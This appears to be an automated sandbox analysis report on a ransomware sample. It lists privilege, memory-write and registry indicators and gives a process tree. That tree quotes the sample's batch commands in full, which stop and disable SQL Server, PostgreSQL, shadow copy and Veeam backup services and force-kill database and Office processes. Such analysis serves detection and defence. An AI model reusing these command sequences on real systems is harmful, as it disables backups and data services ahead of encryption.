5752	taskkill.exe
7096	taskkill.exe
3952	taskkill.exe
6128	Process not Found
7112	Process not Found
1644	Process not Found
4616	taskkill.exe
6308	taskkill.exe
6436	taskkill.exe
448	taskkill.exe
6232	taskkill.exe
5172	Process not Found
2988	taskkill.exe
5796	taskkill.exe
5828	taskkill.exe
6772	taskkill.exe
6004	Process not Found
5564	Process not Found
5472	taskkill.exe
5948	Process not Found
5444	Process not Found
3648	Process not Found
5952	Process not Found
2052	taskkill.exe
6564	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeDebugPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeDebugPrivilege	3300	sc.exe
Token: SeDebugPrivilege	424	taskkill.exe
Token: SeDebugPrivilege	4468	taskkill.exe
Token: SeDebugPrivilege	512	taskkill.exe
Token: SeDebugPrivilege	4892	taskkill.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeDebugPrivilege	5916	Process not Found
Token: SeDebugPrivilege	5972	taskkill.exe
Token: SeDebugPrivilege	5944	net.exe
Token: SeDebugPrivilege	2328	Process not Found
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeDebugPrivilege	5392	net.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeDebugPrivilege	4616	net1.exe
Token: SeDebugPrivilege	4972	taskkill.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Token: SeTakeOwnershipPrivilege	1796	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5064 wrote to memory of 3444	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe	92
PID 5064 wrote to memory of 3444	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe	92
PID 5064 wrote to memory of 3444	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe	92
PID 5064 wrote to memory of 1796	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe	94
PID 5064 wrote to memory of 1796	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe	94
PID 5064 wrote to memory of 1796	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe	94
PID 5064 wrote to memory of 1796	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe	94
PID 3444 wrote to memory of 4272	3444	cmd.exe	95
PID 3444 wrote to memory of 4272	3444	cmd.exe	95
PID 3444 wrote to memory of 4272	3444	cmd.exe	95
PID 5064 wrote to memory of 1796	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe	94
PID 5064 wrote to memory of 1796	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe	94
PID 5064 wrote to memory of 1796	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe	94
PID 5064 wrote to memory of 1796	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe	94
PID 5064 wrote to memory of 1796	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe	94
PID 5064 wrote to memory of 1796	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe	94
PID 3444 wrote to memory of 4932	3444	cmd.exe	97
PID 3444 wrote to memory of 4932	3444	cmd.exe	97
PID 3444 wrote to memory of 4932	3444	cmd.exe	97
PID 3444 wrote to memory of 5116	3444	cmd.exe	98
PID 3444 wrote to memory of 5116	3444	cmd.exe	98
PID 3444 wrote to memory of 5116	3444	cmd.exe	98
PID 3444 wrote to memory of 3912	3444	cmd.exe	103
PID 3444 wrote to memory of 3912	3444	cmd.exe	103
PID 3444 wrote to memory of 3912	3444	cmd.exe	103
PID 4272 wrote to memory of 3520	4272	cmd.exe	102
PID 4272 wrote to memory of 3520	4272	cmd.exe	102
PID 4272 wrote to memory of 3520	4272	cmd.exe	102
PID 3444 wrote to memory of 3184	3444	cmd.exe	100
PID 3444 wrote to memory of 3184	3444	cmd.exe	100
PID 3444 wrote to memory of 3184	3444	cmd.exe	100
PID 3444 wrote to memory of 2440	3444	cmd.exe	117
PID 3444 wrote to memory of 2440	3444	cmd.exe	117
PID 3444 wrote to memory of 2440	3444	cmd.exe	117
PID 3444 wrote to memory of 1288	3444	cmd.exe	116
PID 3444 wrote to memory of 1288	3444	cmd.exe	116
PID 3444 wrote to memory of 1288	3444	cmd.exe	116
PID 3444 wrote to memory of 3660	3444	cmd.exe	105
PID 3444 wrote to memory of 3660	3444	cmd.exe	105
PID 3444 wrote to memory of 3660	3444	cmd.exe	105
PID 3444 wrote to memory of 4784	3444	cmd.exe	113
PID 3444 wrote to memory of 4784	3444	cmd.exe	113
PID 3444 wrote to memory of 4784	3444	cmd.exe	113
PID 3444 wrote to memory of 4196	3444	cmd.exe	111
PID 3444 wrote to memory of 4196	3444	cmd.exe	111
PID 3444 wrote to memory of 4196	3444	cmd.exe	111
PID 3444 wrote to memory of 3440	3444	cmd.exe	110
PID 3444 wrote to memory of 3440	3444	cmd.exe	110
PID 3444 wrote to memory of 3440	3444	cmd.exe	110
PID 3520 wrote to memory of 4704	3520	net.exe	109
PID 3520 wrote to memory of 4704	3520	net.exe	109
PID 3520 wrote to memory of 4704	3520	net.exe	109
PID 3444 wrote to memory of 4304	3444	cmd.exe	119
PID 3444 wrote to memory of 4304	3444	cmd.exe	119
PID 3444 wrote to memory of 4304	3444	cmd.exe	119
PID 3444 wrote to memory of 4284	3444	cmd.exe	125
PID 3444 wrote to memory of 4284	3444	cmd.exe	125
PID 3444 wrote to memory of 4284	3444	cmd.exe	125
PID 3444 wrote to memory of 3720	3444	cmd.exe	124
PID 3444 wrote to memory of 3720	3444	cmd.exe	124
PID 3444 wrote to memory of 3720	3444	cmd.exe	124
PID 3444 wrote to memory of 1136	3444	cmd.exe	120
PID 3444 wrote to memory of 1136	3444	cmd.exe	120
PID 3444 wrote to memory of 1136	3444	cmd.exe	120

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "0"	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
"C:\Users\Admin\AppData\Local\Temp\8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5064
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\killerr.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3444
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & net stop "SQLSERVERAGENT" & net stop "SQLBrowser" & net stop "SQLTELEMETRY" & net stop "MsDtsServer130" & net stop "SSISTELEMETRY130" & net stop "SQLWrite" & net stop "MSSQL$VEEAMSQL2012" & net stop "SQLAgent$VEEAMSQL2012" & net stop "MSSQL" & net stop "SQLAgent" & net stop "MSSQLServerADHelper100" & net stop "MSSQLServerOLAPService" & net stop "MsDtsServer100" & net stop "ReportServer" & net stop "SQLTELEMETRY$HL" & net stop "TMBMServer" & net stop "MSSQL$PROGID" & net stop "MSSQL$WOLTERSKLUWER" & net stop "SQLAgent$PROGID" & net stop "SQLAgent$WOLTERSKLUWER" & net stop "MSSQLFDLauncher$OPTIMA" & net stop "MSSQL$OPTIMA" & net stop "SQLAgent$OPTIMA" & net stop "ReportServer$OPTIMA" & net stop "msftesql$SQLEXPRESS" & net stop "postgresql-x64-9.4" & sc config "MSSQLFDLauncher" start= disabled & sc config "SQLSERVERAGENT" start= disabled & sc config "SQLBrowser" start= disabled"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLSERVERAGENT"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3520
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLSERVERAGENT"
        5⤵
        
        PID:4704
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLBrowser"
      4⤵
      PID:4448
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLBrowser"
        5⤵
        
        PID:1520
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLTELEMETRY"
      4⤵
      PID:4608
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLTELEMETRY"
        5⤵
        
        PID:5512
  - - C:\Windows\SysWOW64\net.exe
      net stop "MsDtsServer130"
      4⤵
      PID:5548
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MsDtsServer130"
        5⤵
        
        PID:5836
  - - C:\Windows\SysWOW64\net.exe
      net stop "SSISTELEMETRY130"
      4⤵
      PID:2632
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SSISTELEMETRY130"
        5⤵
        
        PID:5880
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLWrite"
      4⤵
      PID:5512
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLWrite"
        5⤵
        
        PID:5252
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQL$VEEAMSQL2012"
      4⤵
      PID:5332
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012"
        5⤵
        
        PID:5764
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLAgent$VEEAMSQL2012"
      4⤵
      PID:444
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012"
        5⤵
        
        PID:2532
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQL"
      4⤵
      PID:1248
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL"
        5⤵
        
        PID:5180
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLAgent"
      4⤵
      PID:5344
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent"
        5⤵
        
        PID:5840
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQLServerADHelper100"
      4⤵
      PID:6032
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLServerADHelper100"
        5⤵
        
        PID:5836
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQLServerOLAPService"
      4⤵
      PID:1324
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLServerOLAPService"
        5⤵
        
        PID:6060
  - - C:\Windows\SysWOW64\net.exe
      net stop "MsDtsServer100"
      4⤵
      PID:4756
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MsDtsServer100"
        5⤵
        
        PID:1920
  - - C:\Windows\SysWOW64\net.exe
      net stop "ReportServer"
      4⤵
      PID:5648
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "ReportServer"
        5⤵
        
        PID:1028
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLTELEMETRY$HL"
      4⤵
      PID:5388
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLTELEMETRY$HL"
        5⤵
        
        PID:5948
  - - C:\Windows\SysWOW64\net.exe
      net stop "TMBMServer"
      4⤵
      PID:5916
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TMBMServer"
        5⤵
        
        PID:2604
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQL$PROGID"
      4⤵
      PID:5488
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL$PROGID"
        5⤵
        
        PID:5768
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQL$WOLTERSKLUWER"
      4⤵
      PID:5160
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL$WOLTERSKLUWER"
        5⤵
        
        PID:5304
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLAgent$PROGID"
      4⤵
      PID:5900
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$PROGID"
        5⤵
        
        PID:5920
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLAgent$WOLTERSKLUWER"
      4⤵
      PID:5296
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$WOLTERSKLUWER"
        5⤵
        
        PID:5652
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQLFDLauncher$OPTIMA"
      4⤵
      PID:5948
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLFDLauncher$OPTIMA"
        5⤵
        
        PID:5152
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop Mysoft.SchedulingService
        6⤵
        
        PID:848
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQL$OPTIMA"
      4⤵
      PID:5772
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL$OPTIMA"
        5⤵
        
        PID:5792
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLAgent$OPTIMA"
      4⤵
      PID:5356
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$OPTIMA"
        5⤵
        
        PID:2308
  - - C:\Windows\SysWOW64\net.exe
      net stop "ReportServer$OPTIMA"
      4⤵
      PID:4608
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "ReportServer$OPTIMA"
        5⤵
        
        PID:6016
  - - C:\Windows\SysWOW64\net.exe
      net stop "msftesql$SQLEXPRESS"
      4⤵
      PID:1656
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "msftesql$SQLEXPRESS"
        5⤵
        
        PID:5568
  - - C:\Windows\SysWOW64\net.exe
      net stop "postgresql-x64-9.4"
      4⤵
      PID:1080
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "postgresql-x64-9.4"
        5⤵
        
        PID:1316
  - - C:\Windows\SysWOW64\sc.exe
      sc config "MSSQLFDLauncher" start= disabled
      4⤵
      PID:6440
  - - C:\Windows\SysWOW64\sc.exe
      sc config "SQLSERVERAGENT" start= disabled
      4⤵
      PID:7028
  - - C:\Windows\SysWOW64\sc.exe
      sc config "SQLBrowser" start= disabled
      4⤵
      Launches sc.exe
      PID:5356
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & sc config MSSQLSERVER start=disabled & sc config "SQL Server (MSSQLSERVER)" start=disabled & net stop MSSQL$ & sc config MSSQL$ start=disabled & net stop SQLSERVERAGENT & sc config SQLSERVERAGENT start=disabled & net stop SQLBrowser & sc config SQLBrowser start=disabled & net stop vss & sc config vss start=disabled & net stop SQLWriter & sc config SQLWriter start=disabled & net stop vmvss & sc config vmvss start=disabled & sc config MSSQL$FE_EXPRESS start= disabled & net stop MSSQL$RE_EXPRESS & net stop SQLANYs_Sage_FAS_Fixed_Assets & sc config SQLANYs_Sage_FAS_Fixed_Assets start=disabled & net stop MSSQL$VIM_SQLEXP & sc config MSSQL$VIM_SQLEXP start=disabled & net stop "MSSQLFDLauncher" & net stop "MSSQLSERVER""
    3⤵
    PID:4932
  - - C:\Windows\SysWOW64\sc.exe
      sc config MSSQLSERVER start=disabled
      4⤵
      Launches sc.exe
      PID:3936
  - - C:\Windows\SysWOW64\sc.exe
      sc config "SQL Server (MSSQLSERVER)" start=disabled
      4⤵
      PID:5316
  - - C:\Windows\SysWOW64\net.exe
      net stop MSSQL$
      4⤵
      PID:396
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$
        5⤵
        
        PID:1248
  - - C:\Windows\SysWOW64\sc.exe
      sc config MSSQL$ start=disabled
      4⤵
      PID:5132
  - - C:\Windows\SysWOW64\net.exe
      net stop SQLSERVERAGENT
      4⤵
      PID:5632
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SQLSERVERAGENT
        5⤵
        
        PID:5652
  - - C:\Windows\SysWOW64\sc.exe
      sc config SQLSERVERAGENT start=disabled
      4⤵
      PID:1940
  - - C:\Windows\SysWOW64\net.exe
      net stop SQLBrowser
      4⤵
      PID:5504
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SQLBrowser
        5⤵
        
        PID:6040
  - - C:\Windows\SysWOW64\sc.exe
      sc config SQLBrowser start=disabled
      4⤵
      PID:5292
  - - C:\Windows\SysWOW64\net.exe
      net stop vss
      4⤵
      PID:5508
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop vss
        5⤵
        
        PID:5648
  - - C:\Windows\SysWOW64\sc.exe
      sc config vss start=disabled
      4⤵
      Launches sc.exe
      PID:1940
  - - C:\Windows\SysWOW64\net.exe
      net stop SQLWriter
      4⤵
      PID:4464
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SQLWriter
        5⤵
        
        PID:5736
  - - C:\Windows\SysWOW64\sc.exe
      sc config SQLWriter start=disabled
      4⤵
      PID:6040
  - - C:\Windows\SysWOW64\net.exe
      net stop vmvss
      4⤵
      PID:5784
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop vmvss
        5⤵
        
        PID:5376
  - - C:\Windows\SysWOW64\sc.exe
      sc config vmvss start=disabled
      4⤵
      Launches sc.exe
      PID:5700
  - - C:\Windows\SysWOW64\sc.exe
      sc config MSSQL$FE_EXPRESS start= disabled
      4⤵
      PID:5316
  - - C:\Windows\SysWOW64\net.exe
      net stop MSSQL$RE_EXPRESS
      4⤵
      PID:5600
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$RE_EXPRESS
        5⤵
        
        PID:5440
  - - C:\Windows\SysWOW64\net.exe
      net stop SQLANYs_Sage_FAS_Fixed_Assets
      4⤵
      PID:5664
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SQLANYs_Sage_FAS_Fixed_Assets
        5⤵
        
        PID:5192
  - - C:\Windows\SysWOW64\sc.exe
      sc config SQLANYs_Sage_FAS_Fixed_Assets start=disabled
      4⤵
      PID:5284
  - - C:\Windows\SysWOW64\net.exe
      net stop MSSQL$VIM_SQLEXP
      4⤵
      PID:5632
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$VIM_SQLEXP
        5⤵
        
        PID:5860
  - - C:\Windows\SysWOW64\sc.exe
      sc config MSSQL$VIM_SQLEXP start=disabled
      4⤵
      Launches sc.exe
      PID:1288
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQLFDLauncher"
      4⤵
      PID:5596
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLFDLauncher"
        5⤵
        
        PID:5896
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQLSERVER"
      4⤵
      PID:4856
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLSERVER"
        5⤵
        
        PID:4380
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & taskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe & taskkill /F /IM Veeam.Backup.BrokerService.exe & taskkill /F /IM Veeam.Backup.CatalogDataService.exe & taskkill /F /IM Veeam.Backup.CloudService.exe & taskkill /F /IM Veeam.Backup.Manager.exe & taskkill /F /IM Veeam.Backup.MountService.exe & taskkill /F /IM Veeam.Backup.Service.exe & taskkill /F /IM Veeam.Backup.WmiServer.exe & taskkill /F /IM Veeam.Guest.Interaction.Proxy.exe & taskkill /F /IM VeeamDeploymentSvc.exe & taskkill /F /IM VeeamNFSSvc.exe & taskkill /F /IM VeeamTransportSvc.exe & taskkill /F /IM sqlbrowser.exe & taskkill /F /IM sqlceip.exe & taskkill /F /IM sqlservr.exe & taskkill /F /IM sqlwriter.exe & taskkill /F /IM sqlagentc.exe & taskkill /F /IM ReportingServicesService.exe & taskkill /F /IM Ssms.exe & taskkill /F /IM fdhost.exe & taskkill /F /IM fdlauncher.exe & taskkill /F /IM MsDtsSrvr.exe & taskkill /F /IM msmdsrv.exe & taskkill /F /IM mysql.exe & taskkill /F /IM mysqld.exe & taskkill /F /IM w3wp.exe & taskkill /F /IM wsusservice.exe & taskkill /F /IM SageCSClient.exe & taskkill /F /IM UFSoft.U8.OC.QuartzScheduler.exe & taskkill /F /IM Launchpad.exe & taskkill /F /IM dbsrv12.exe & taskkill /F /IM EXCEL.EXE & taskkill /F /IM OUTLOOK.EXE & taskkill /F /IM WINWORD.EXE & taskkill /F /IM OneDrive.exe & taskkill /F /IM TaskService.exe"
    3⤵
    PID:5116
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe
      4⤵
      PID:3300
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.BrokerService.exe
      4⤵
      PID:4616
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.CatalogDataService.exe
      4⤵
      PID:5876
